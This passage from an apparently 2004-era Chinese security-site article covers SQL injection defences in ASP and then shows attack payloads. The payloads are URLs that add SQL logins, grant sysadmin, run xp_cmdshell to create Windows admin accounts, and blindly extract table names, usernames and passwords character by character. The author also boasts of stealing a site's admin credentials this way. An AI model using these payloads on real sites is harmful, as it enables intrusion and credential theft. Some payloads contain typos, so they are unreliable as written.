|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| 浅谈sql注入式(SQL injection)攻击与防范 | |||||
作者:阿酷 文章来源:CnXHacker.Net 点击数: 更新时间:2004-10-28 ![]() |
|||||
|
rs.open sql,conn_data,1,1 '身份验证过程 if not rs.eof then if encrypt(pwd)=rs("pwd") then '这里对输入的密码进行加密处理 session("login")="ok" response.redirect "/default.asp" else response.redirect "login.asp" end if else response.redirect "login.asp" end if …… (4)用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作,因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。如果是大型官方站点,千万不要怕麻烦! (5)通过数据库设置特定的存储过程,只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。 (6)限制表单或查询字符串输入的长度。如果用户的登录名字最多只有20个字符,那么不要认可表单中输入的20个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。当然,我们可以通过本地提交来绕过这个限制,但是也不是没有办法来控制,来看: a、在取数据的时候,只取有效长度内的数据。 以下内容为程序代码: …… dim name,pwd name=left(request.form("name"),20) …… b、在服务器确认提交位置 login.asp 以下内容为程序代码: …… <form action="verify.asp" method="post" name="login"> <input type="hidden" name="referer" value="<%=Request.ServerVariables("HTTP_REFERER")%>"> <input type="hidden" name="ser_name" value="<%=Request.ServerVariables("SERVER_NAME%>"> 用户名<input type=text name=name value="" maxlength="20"> 密码<input type=password name=pwd value="" maxlength="20"> <input type=submit name=bt value="确认"> <input type=reset name=bt value="重置"> </form> …… 这里传递了2个参数referer,ser_name verify.asp 以下内容为程序代码: …… dim referer,ser_name '取这2个参数 referer=Cstr(Request.ServerVariables("HTTP_REFERER")) ser_name=Cstr(Request.ServerVariables("SERVER_NAME")) '判断浏览器位置 if mid(referer,8,len(ser_name))<>ser_name then response.redirect "login.asp" end if …… 这样,如果你不是在该网站提交的数据,就不能够顺利登陆。 (7)检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理。 4、网页传递参数不进行过滤处理 很多网站都存在这个问题,比如http://www.***.com/show.asp?id=50,在没有对id进行过滤,或有效过滤的情况下,整个网站都处在非常危险的境地。 我们可以通过很简单的办法测试是否存在这个问题: http://www.***.com/show.asp?id=50 and 1=1 如果页面显示正确,基本上可以断定它存在这个问题。 来看看攻击者能做写什么: (1)http://www.***.com/show.asp?id=50;exec master.dbo.sp_addlogin Cool;-- (2)http://www.***.com/show.asp?id=50;exec master.dbo.sp_password null,123456,Cool;-- (3)http://www.***.com/show.asp?id=50;exec master.dbo.sp_addsrvrolemember Cool,sysadmin;-- (4)http://www.***.com/show.asp?id=50;exec master.dbo.xp_cmdshell 'net user Cool 123456 /add';-- (5)http://www.***.com/show.asp?id=50;exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';-- 只要是表单中能提交的,这里基本都可以提交。 (6)猜表名:http://www.***.com/show.asp?id=50 and 0<>(select count(*) from tablename),这里的tablename就是你猜测的表名。如果页面显示正常,则你猜测的表名是正确的。 (7)猜字段名:http://www.***.com/show.asp?id=50 and 0<>(select count(fieldname) from tablename),这里的fieldname是表中某一字段名,如果页面显示正常,可以断定字段名称正确。 (8)在获得tablename和fieldname以后,就可以更进一步了。 比如是登陆系统,tablename是user,fieldname是id,name和pwd,看看能做些什么: a、http://www.***.com/show.asp?id=50 and 0<>(select count(*) from user where id>1000) 粗略判断用户数量 b、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(name)=10) 判断id为1的用户的用户名长度是否为10 c、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and mid(name,n,1)='a') 判断id为1的用户的用户名的第n位是否为a d、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(pwd)=10) 判断id为1的用户的密码长度是否为10 e、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and mid(pwd,n,1)='a') 判断id为1的用户的密码的第n位是否为a,如果你的密码没有加密,嘿嘿! 当然mid(pwd,n,1)也可以写成right(left(pwd,n),1),个人习惯了! 不过这样子一点一点的试,是不是太累了,那就自己用用perl写个小东东吧,挂个字典?呵呵,随你便! 另外,还有一个小技巧,可以让你很快的破解用户名和密码,我用这种方法,在10分钟内完成了猜表名、猜列名、破解一个10位长(其中5位汉字)的用户名、破解它的12位(1位汉字)密码,获得了××安全网站的后台管理员用户名和密码,不过其中有8项内容是通过社会工程学猜的,呵呵。只是有点郁闷的是我没有找到网站后台的登陆界面,郁闷ing…… a、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(name)=10) 先确定用户名长度 b、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(pwd)=10) 再确定密码长度 c、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,1,1))<0) 判断用户名第一位是否为中文,如果是中文,一般都是负的好多 如果不是,一般范围都在27~126之间,可以使用 http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))>60) http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))<100) 来确定范围,最终得出asc码值,通过对照(常用ASCII 码对照表)来获得第n位内容。 如果是中文,应该小于-32,768,可以使用 http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))>-30000) http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))<-10000) 来确定范围,最终得出asc码值,通过转换获得第n位的内容,方法多多,许多编辑工具都有这个功能,也可以使用chr()函数直接输出进行转换。 d、同理,可以很快获得密码内容。 这里你是否也看到了刚才提到的request对象中省略集合名称的问题呢?!:) 解决办法:这类问题,主要是对传递参数的过滤和对数据合法性的验证。 限于个人水平,以上内容不一定完全正确,而且还有许多没有提及的地方,希望和大家更多的交流。  |
|||||
| 文章录入:IceRiver 责任编辑:IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 活地运用SQL Injection做数据 数据库安全应用 使用MySQL的 MSSQL数据库SA权限入侵的感悟 XSS跨站脚本及SQL注入漏洞技 开源MySQL停止提供企业版源代 打造SQL Server2000的安全策 堵死网站被SQL注入的隐患 浅谈WINDOWS操作系统防黑的一 浅谈IP安全策略:防范被Ping fsqh.exe - fsqh - 进程信息 |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |